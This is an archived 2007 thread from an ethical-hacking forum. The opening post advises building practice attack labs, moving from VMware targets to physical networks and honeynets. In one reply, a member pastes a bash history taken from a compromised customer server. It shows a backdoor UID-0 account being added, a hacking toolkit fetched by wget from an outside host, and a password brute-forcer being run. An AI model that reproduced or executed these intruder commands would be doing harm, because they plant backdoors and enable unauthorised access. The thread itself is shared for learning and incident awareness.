Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 44 guests and 5 members online
EH-Net News Feeds
Latest Additions
 
Advertisement

You are here: Home arrow Forum arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow Do you want to be L33T ?
EH-Net
May 24, 2012, 08:11:03 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Advertise on EH-Net!! - Reasonable Rates, Highly Targeted Audience.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Do you want to be L33T ?  (Read 4257 times)
0 Members and 1 Guest are viewing this topic.
Kev
Sr. Member
****
Offline Offline

Posts: 428


View Profile
« on: October 09, 2007, 04:08:24 PM »

Many people don’t realize that nmap has a print out function that displays everything the way script kiddies used to type way back in the day if you happened to be in a hackers IRC channel.  Its really more of a joke, but its fun to do once in a while.  Ok so you want to be elite? You want to be a first class hacker?  There is really only one way.  To quote an old joke, “ how do you get to Carnegie hall? Practice, Practice Practice!” .   I don’t mean read, read, read or hang out on the net.  You really need to practice your trade. Ok so how do you do that without getting the FBI knocking on your front door?  Well, you need your own lab.  All real hackers have one.  Whether they are a black or white hat, the attack lab is a must. If you don’t have one or access to one, then I cant see how you can call yourself a hacker. Its that important at this time.  In the past not so much, because most hacking a long time ago was 90% password cracking. Yup, that’s right, just cracking passwords.  Sometimes not even that because it was easy to log on to FTP servers as anonymous back then.  We would try guessing passwords first. That still works today and I am still amazed that 123, 123321, qwerty, name of company, etc... are still used! Even hackers can get lazy and I hope I didn’t embarrass too many readers here if I hit a nerve, LOL!  Stop reading and go change that password right now!   The movie War Games is a classic and perfect example of cracking computers back in the eighties.

Ok, so back to attack lab. I have noticed that most of us go through a natural progression when working with our labs.  The very first thing most do is download vmware and install an OS we want to crack. That is a good place to start and actually you will find that you will keep this tactic up for the rest of your hacking life. Even if you have a complex attack lab, attacking a single OS in vmware is still important. For instance, say you are waiting at an airport and you are trying to fuzz an app to create an exploit. You want to test it quickly so you load up your vmware on your laptop and try to run your exploit. The normal approach is to run your OS with no service packs or firewall. Then you begin to add patches one at a time. You keep hardening the OS until you can not crack it any more.  As you do that, you are keeping very careful notes.

The next progression is to actual build multiple vmware installations in order to simulate an entire network.  You can make a fun puzzle with this kind of set up.  Next time you are 30,000 feet in the air, try making a network with say 7 installations and the only way you can get to the target box is to hack and own each box one at a time. That is, you go from box 1 to box 2, then box 2 to box 3,etc. until you get to box 7. If you have a buddy set this up for you before hand its much better so you don’t really know how to get to box 7 other than trial and error.  There is a really good article on how to set up a vmware attack lab written by one of EH-nets most prestigious members Negrita.  Hmmm, I still haven't tried that brand of rum yet!  Is it really better than any others? Hey what can I say, I am not a rum expert, but if I get the chance I will have a shot in honor of you brother.
  http://www.ethicalhacker.net/content/view/63/1/

The next step is to actually build a real network of boxes. This doesn’t need to be elaborate.  You can basically build it from computers people are throwing away.  I like this approach the most because it has the most authentic feel of a network when you are hacking. You can easily change it from a hub to a switched environment which is crucial to developing your “sniffing” skills.  I wrote about this in the past and you can actually build this for way less than $600 now.
http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,1094.msg3450/#msg3450

The final place to go is where you potentially can reap the most benefits, but it’s a bit dangerous. Only think of doing this if you really feel  secure with your networking and monitoring abilities, because it could really bite you.  It involves turning your attack lab into a honeynet.  A honeynet is different from a honeypot. A honeynet involves creating a complete network that will appear “real” to an attacker. A honeypot is a simple box or two that is setup as easy prey for an attacker to distract him from the real target. This was an interesting concept early on but is really considered a bit dated.  One problem was it only caught the dumbest flies. Any highly skilled hacker could detect it even from the outside but even if he or she took the bait, the hacker could tell quickly what was going on and leave quickly.  On the other hand, a honeynet is virtually impossible to distinguish from being authentic because it is authentic!  Its amazing what you can learn if you are lucky enough to catch a big fish. You can actually see how many attackers plan their breach. You might even be lucky enough to sniff out an exploit that has never been published.  Basically you are being taught by some of the best attackers on the net if you set it up correctly.  But remember if you don’t set it up correctly, it can be very dangerous because attackers often use a network like this as a launch platform for other attacks. Believe me when I say its going to difficult to explain to the FBI that you are an innocent victim when they come to your place and see your attack lab with a copy of Hacking Exposed,etc.. laying on one of the towers! It would be better if you can set up the lab in a professional environment like a security business or university or if you work for an ISP and can talk then into it as a project rather than in your home.  But on the other hand if you are reasonably skilled you should be ok.  My rule of thumb is to reset the lab every few days even if I don’t see a breach. I guess I get a little paranoid about some unknown rootkit that cant be detected.  By the way, rootkits are not really an issue so far because they cant hide from an outside scan of the network and that’s part of a well monitored  honeynet.  Rootkits only “fool” the boxes they are installed on so never rely on scanning from the same box. If you are still interested in setting up a honeynet, “Know Your Enemy” by the Honeynet Project is an excellent book on the topic and I suggest anyone interested should read it completely before taking on a project like this.  I hope any one new to security reading this post can see how vital it is to having a lab to work with. In fact, in my opinion you cant really call yourself a skilled hacker if you don’t have access to one. One last thing to mention is all the above examples are valid and good and have their place. They should stay in your repertoire for as long as you are involved in hacking.
« Last Edit: October 10, 2007, 04:46:11 AM by Kev » Logged
Negrita
Sr. Member
****
Offline Offline

Posts: 298



View Profile
« Reply #1 on: October 09, 2007, 05:13:24 PM »

WOW!!  Shocked  I'm flattered. Thanks for the compliment. You've just made my day. It's 12:15AM around my neck of the woods, and I've had about 8 hours sleep over the last 3 days while I've been chasing someone who's been doing this to my customers boxes;

Code:
471  /usr/sbin/useradd -u 0 -g 0 -o -d /etc/XXXXX XXXXX
472  passwd XXXXX
473  exit
474  cd /var/tmp
475  mkdir .h
476  ls -al
477  cd .j
478  cd .h
479  wget www.t00lr3p0sit0ry.com/XXXXXrul3z/h4ckt00l.tgz
480  ps ax
481  ls -al
482  tar zxvf h4ckt00l.tgz
483  rm -rf pswd
484  rm -rf h4ckt00l.tgz
485  mv fil3z/ fl
486  cd fl
487  ./brutepw
488  killall -9 brutepw

... and the next thing I know I've become one of the most prestigeous members here.

Anyway I hope anyone that reads my article finds it useful (or at least interesting). As usual Kev has outdone himself with an excellent post - every word written in gold. Funny thing though, I obviouslly don't hang around airports as much as it seems I should. Perhaps that's where all the actions is.  Wink
Logged

CEH, CCSA NG/AI, NNCSS, MCP, MCSA 2003

There are 10 kinds of people, those that understand binary, and those that don't.
squidmaster
Newbie
*
Offline Offline

Posts: 21


View Profile
« Reply #2 on: October 09, 2007, 09:25:49 PM »

 Very nice article! Very well written; kudos to you mate.
Logged
JeffCT
Newbie
*
Offline Offline

Posts: 10


View Profile
« Reply #3 on: October 15, 2007, 08:18:02 PM »

Great post. Speaking of labs... you can now download a 90 day trial of any version of Windows 2003 Server (standard or enterprise). Possibly 2007 as well. With VMware, the 90 day trial could just be extended by snapshotting or re-installing.
Logged

CISSP, CEH
EmanoN
Newbie
*
Offline Offline

Posts: 41


View Profile
« Reply #4 on: October 17, 2007, 03:07:16 PM »

Good post but christ, kev you arent you worried about getting a lot of newbie fingers burned?  giggles
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.296 seconds with 23 queries.
 

gk_static-ad_feb2012.jpg
Global Knowledge: Build Security Skills to Protect & Defend

els_130x200fixed2.gif
eLearnSecurity Student Course Now Live!
5% Off with Code
ELS-EH-5

SANS Deals 4 EH-Netters
$150 OFF Any SANS Course in Any Format!
Coupon Code: EHN_Connect Including SANS Security West 2012 & SANSFIRE 2012
Recent Forum Topics

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!

Vote For EH-Net

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2012 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.